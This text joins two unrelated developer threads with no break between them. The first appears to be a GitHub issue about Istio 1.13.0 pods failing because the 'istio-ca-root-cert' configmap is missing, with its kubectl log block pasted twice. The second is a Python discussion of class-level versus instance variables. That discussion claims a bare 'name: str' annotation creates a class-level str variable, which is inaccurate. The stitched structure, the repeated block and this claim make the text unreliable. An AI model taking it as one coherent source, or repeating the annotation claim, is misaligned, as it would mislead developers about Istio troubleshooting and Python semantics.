Normal   Pulled     24m                  kubelet            Successfully pulled image "docker.io/istio/pilot:1.13.0" in 1m0.599004058s
Normal   Created    24m                  kubelet            Created container discovery
Normal   Started    24m                  kubelet            Started container discovery
Warning  Unhealthy  35s (x481 over 24m)  kubelet            Readiness probe failed: Get "http://<IP_ADDRESS>:8080/ready": dial tcp <IP_ADDRESS>:8080: connect: connection refused
【2】 [root@k8smaster1 istio-1.13.0]# kubectl describe pod istio-ingressgateway-dc9c8f588-rwzbd  -n istio-system
Events:
Type     Reason       Age                   From               Message

Normal   Scheduled    21m                   default-scheduler  Successfully assigned istio-system/istio-ingressgateway-dc9c8f588-rwzbd to k8snode2
Warning  FailedMount  19m                   kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[ingressgateway-ca-certs kube-api-access-tl7sr istio-envoy istio-data config-volume podinfo ingressgateway-certs istiod-ca-cert istio-token]: timed out waiting for the condition
Warning  FailedMount  16m                   kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[istio-token kube-api-access-tl7sr podinfo istiod-ca-cert istio-envoy config-volume ingressgateway-certs ingressgateway-ca-certs istio-data]: timed out waiting for the condition
Warning  FailedMount  14m                   kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[istio-data istio-envoy config-volume ingressgateway-certs ingressgateway-ca-certs istiod-ca-cert istio-token podinfo kube-api-access-tl7sr]: timed out waiting for the condition
Warning  FailedMount  12m                   kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[kube-api-access-tl7sr istiod-ca-cert istio-token podinfo ingressgateway-ca-certs istio-envoy config-volume istio-data ingressgateway-certs]: timed out waiting for the condition
Warning  FailedMount  9m56s                 kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[istiod-ca-cert ingressgateway-certs kube-api-access-tl7sr istio-data podinfo istio-envoy config-volume istio-token ingressgateway-ca-certs]: timed out waiting for the condition
Warning  FailedMount  7m40s                 kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[ingressgateway-certs ingressgateway-ca-certs istiod-ca-cert istio-envoy istio-token kube-api-access-tl7sr config-volume istio-data podinfo]: timed out waiting for the condition
Warning  FailedMount  5m23s                 kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[config-volume istio-token ingressgateway-ca-certs istio-envoy istio-data ingressgateway-certs kube-api-access-tl7sr podinfo istiod-ca-cert]: timed out waiting for the condition
Warning  FailedMount  3m7s                  kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[ingressgateway-certs podinfo ingressgateway-ca-certs kube-api-access-tl7sr istiod-ca-cert istio-data istio-envoy config-volume istio-token]: timed out waiting for the condition
Warning  FailedMount  2m41s (x17 over 21m)  kubelet            MountVolume.SetUp failed for volume "istiod-ca-cert" : configmap "istio-ca-root-cert" not found
Warning  FailedMount  39s (x2 over 49s)     kubelet            (combined from similar events): MountVolume.SetUp failed for volume "istiod-ca-cert" : configmap "istio-ca-root-cert" not found
【3】root@k8smaster1 istio-1.13.0]# kubectl describe pod istio-egressgateway-6cf5fb4756-p4bzf  -n istio-system
Events:
Type     Reason       Age                 From               Message

Normal   Scheduled    21m                 default-scheduler  Successfully assigned istio-system/istio-egressgateway-6cf5fb4756-p4bzf to k8snode1
Warning  FailedMount  19m                 kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[istiod-ca-cert egressgateway-ca-certs config-volume istio-data kube-api-access-hlnk6 istio-envoy istio-token podinfo egressgateway-certs]: timed out waiting for the condition
Warning  FailedMount  17m                 kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[podinfo egressgateway-ca-certs kube-api-access-hlnk6 istio-envoy istiod-ca-cert istio-token istio-data config-volume egressgateway-certs]: timed out waiting for the condition
Warning  FailedMount  15m                 kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[egressgateway-certs istiod-ca-cert istio-token istio-data egressgateway-ca-certs istio-envoy podinfo kube-api-access-hlnk6 config-volume]: timed out waiting for the condition
Warning  FailedMount  12m                 kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[egressgateway-ca-certs kube-api-access-hlnk6 istiod-ca-cert config-volume istio-token egressgateway-certs istio-data istio-envoy podinfo]: timed out waiting for the condition
Warning  FailedMount  10m                 kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[podinfo kube-api-access-hlnk6 istiod-ca-cert istio-envoy config-volume istio-token istio-data egressgateway-certs egressgateway-ca-certs]: timed out waiting for the condition
Warning  FailedMount  8m22s               kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[istiod-ca-cert istio-token istio-data istio-envoy config-volume egressgateway-ca-certs podinfo egressgateway-certs kube-api-access-hlnk6]: timed out waiting for the condition
Warning  FailedMount  6m6s                kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[istio-envoy istiod-ca-cert kube-api-access-hlnk6 istio-data podinfo egressgateway-certs egressgateway-ca-certs config-volume istio-token]: timed out waiting for the condition
Warning  FailedMount  3m50s               kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[config-volume istio-data egressgateway-certs istiod-ca-cert podinfo kube-api-access-hlnk6 istio-envoy istio-token egressgateway-ca-certs]: timed out waiting for the condition
Warning  FailedMount  93s                 kubelet            (combined from similar events): Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[istio-envoy istiod-ca-cert egressgateway-certs egressgateway-ca-certs kube-api-access-hlnk6 istio-token podinfo config-volume istio-data]: timed out waiting for the condition
Warning  FailedMount  78s (x18 over 21m)  kubelet            MountVolume.SetUp failed for volume "istiod-ca-cert" : configmap "istio-ca-root-cert" not found

can you shared more info? any log from istiod and also kubectl describe rs -nistio-system <istio-ingressgatew-xxxxx replace with the real name>

【More Details】
Infomation More：
【1】[root@k8smaster1 istio-1.13.0]# kubectl describe pod istiod-7586c7dfd8-4qtjk  -n istio-system
Events:
Type     Reason     Age                  From               Message

Normal   Scheduled  25m                  default-scheduler  Successfully assigned istio-system/istiod-7586c7dfd8-4qtjk to k8smaster2
Normal   Pulling    25m                  kubelet            Pulling image "docker.io/istio/pilot:1.13.0"
Normal   Pulled     24m                  kubelet            Successfully pulled image "docker.io/istio/pilot:1.13.0" in 1m0.599004058s
Normal   Created    24m                  kubelet            Created container discovery
Normal   Started    24m                  kubelet            Started container discovery
Warning  Unhealthy  35s (x481 over 24m)  kubelet            Readiness probe failed: Get "http://<IP_ADDRESS>:8080/ready": dial tcp <IP_ADDRESS>:8080: connect: connection refused
【2】 [root@k8smaster1 istio-1.13.0]# kubectl describe pod istio-ingressgateway-dc9c8f588-rwzbd  -n istio-system
Events:
Type     Reason       Age                   From               Message

Normal   Scheduled    21m                   default-scheduler  Successfully assigned istio-system/istio-ingressgateway-dc9c8f588-rwzbd to k8snode2
Warning  FailedMount  19m                   kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[ingressgateway-ca-certs kube-api-access-tl7sr istio-envoy istio-data config-volume podinfo ingressgateway-certs istiod-ca-cert istio-token]: timed out waiting for the condition
Warning  FailedMount  16m                   kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[istio-token kube-api-access-tl7sr podinfo istiod-ca-cert istio-envoy config-volume ingressgateway-certs ingressgateway-ca-certs istio-data]: timed out waiting for the condition
Warning  FailedMount  14m                   kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[istio-data istio-envoy config-volume ingressgateway-certs ingressgateway-ca-certs istiod-ca-cert istio-token podinfo kube-api-access-tl7sr]: timed out waiting for the condition
Warning  FailedMount  12m                   kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[kube-api-access-tl7sr istiod-ca-cert istio-token podinfo ingressgateway-ca-certs istio-envoy config-volume istio-data ingressgateway-certs]: timed out waiting for the condition
Warning  FailedMount  9m56s                 kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[istiod-ca-cert ingressgateway-certs kube-api-access-tl7sr istio-data podinfo istio-envoy config-volume istio-token ingressgateway-ca-certs]: timed out waiting for the condition
Warning  FailedMount  7m40s                 kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[ingressgateway-certs ingressgateway-ca-certs istiod-ca-cert istio-envoy istio-token kube-api-access-tl7sr config-volume istio-data podinfo]: timed out waiting for the condition
Warning  FailedMount  5m23s                 kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[config-volume istio-token ingressgateway-ca-certs istio-envoy istio-data ingressgateway-certs kube-api-access-tl7sr podinfo istiod-ca-cert]: timed out waiting for the condition
Warning  FailedMount  3m7s                  kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[ingressgateway-certs podinfo ingressgateway-ca-certs kube-api-access-tl7sr istiod-ca-cert istio-data istio-envoy config-volume istio-token]: timed out waiting for the condition
Warning  FailedMount  2m41s (x17 over 21m)  kubelet            MountVolume.SetUp failed for volume "istiod-ca-cert" : configmap "istio-ca-root-cert" not found
Warning  FailedMount  39s (x2 over 49s)     kubelet            (combined from similar events): MountVolume.SetUp failed for volume "istiod-ca-cert" : configmap "istio-ca-root-cert" not found
【3】root@k8smaster1 istio-1.13.0]# kubectl describe pod istio-egressgateway-6cf5fb4756-p4bzf  -n istio-system
Events:
Type     Reason       Age                 From               Message

Normal   Scheduled    21m                 default-scheduler  Successfully assigned istio-system/istio-egressgateway-6cf5fb4756-p4bzf to k8snode1
Warning  FailedMount  19m                 kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[istiod-ca-cert egressgateway-ca-certs config-volume istio-data kube-api-access-hlnk6 istio-envoy istio-token podinfo egressgateway-certs]: timed out waiting for the condition
Warning  FailedMount  17m                 kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[podinfo egressgateway-ca-certs kube-api-access-hlnk6 istio-envoy istiod-ca-cert istio-token istio-data config-volume egressgateway-certs]: timed out waiting for the condition
Warning  FailedMount  15m                 kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[egressgateway-certs istiod-ca-cert istio-token istio-data egressgateway-ca-certs istio-envoy podinfo kube-api-access-hlnk6 config-volume]: timed out waiting for the condition
Warning  FailedMount  12m                 kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[egressgateway-ca-certs kube-api-access-hlnk6 istiod-ca-cert config-volume istio-token egressgateway-certs istio-data istio-envoy podinfo]: timed out waiting for the condition
Warning  FailedMount  10m                 kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[podinfo kube-api-access-hlnk6 istiod-ca-cert istio-envoy config-volume istio-token istio-data egressgateway-certs egressgateway-ca-certs]: timed out waiting for the condition
Warning  FailedMount  8m22s               kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[istiod-ca-cert istio-token istio-data istio-envoy config-volume egressgateway-ca-certs podinfo egressgateway-certs kube-api-access-hlnk6]: timed out waiting for the condition
Warning  FailedMount  6m6s                kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[istio-envoy istiod-ca-cert kube-api-access-hlnk6 istio-data podinfo egressgateway-certs egressgateway-ca-certs config-volume istio-token]: timed out waiting for the condition
Warning  FailedMount  3m50s               kubelet            Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[config-volume istio-data egressgateway-certs istiod-ca-cert podinfo kube-api-access-hlnk6 istio-envoy istio-token egressgateway-ca-certs]: timed out waiting for the condition
Warning  FailedMount  93s                 kubelet            (combined from similar events): Unable to attach or mount volumes: unmounted volumes=[istiod-ca-cert], unattached volumes=[istio-envoy istiod-ca-cert egressgateway-certs egressgateway-ca-certs kube-api-access-hlnk6 istio-token podinfo config-volume istio-data]: timed out waiting for the condition
Warning  FailedMount  78s (x18 over 21m)  kubelet            MountVolume.SetUp failed for volume "istiod-ca-cert" : configmap "istio-ca-root-cert" not found

this might be the root cause:
Warning FailedMount 78s (x18 over 21m) kubelet MountVolume.SetUp failed for volume "istiod-ca-cert" : configmap "istio-ca-root-cert" not found

please verify is that configmap exists in istio-system namespace, also you can check is there anything wrong in istiod pod

【The problem is solved】

@1511563371  Hello, how to solve the problem? helpme please


Fix class variables in a number of classes

In a number of classes (Parser for example) we use class-level variables rather than object variables (and set them in self). We need to remove those usages.

class MyTestItem:
    name: str
    def __init__(self, name):
        self.name = name

my_item_1 = MyTestItem("AAA")
my_item_2 = MyTestItem("BBB")

print(my_item_1.name)
print(my_item_2.name)

Output:
AAA
BBB

You showed an example similar to that. This example works fine.
The problem is when there is an object initialized at the class level. Object is shared between all instances.
Example:
class MyTestItem:
    name: str = []
    def __init__(self, name):
        self.name.append(name)

my_item_1 = MyTestItem("AAA")
my_item_2 = MyTestItem("BBB")

print(my_item_1.name)
print(my_item_2.name)

Output:
['AAA', 'BBB']
['AAA', 'BBB']

I saw this one case and tried to fix it in this PR:
https://github.com/GoogleCloudPlatform/cloud-composer/pull/166

It works only because MyTestItem.name is actually completely different object than self.name in this case. See https://stackoverflow.com/questions/68645/are-static-class-variables-possible where this is discussed at-length.
Simply speaking, this is completely misleading because name: str is declaration of a different variable than self.name. It does not even tell what the type of self.name is because these are two different variables (one is class-level, and the other is instance level):
class MyTestItem:
    name: str
    def __init__(self, name):
        self.name = name

In the example above MyTestItem.name is an 'str' class-level variable but self.name is 'unknown type' instance variable.
The correct ways of declaring the type of instance variable is:
class MyTestItem:
    def __init__(self, name: str):
        self.name = name

or
class MyTestItem:
    def __init__(self, name):
        self.name : str = name

So my proposal is that we (as soon as the current refactoring of Jinja templates is done) fix it in all places and only leave the NamedTuple declarations in that "class-level" form as it is fairly convenient there.
@sprzedwojski @mik-laj @antonimaciej -let me know what you think.

Ideally we should also see if any of the tools we use (pylint/mypy or others) can detect such cases and prevent us from making similar mistakes in the future.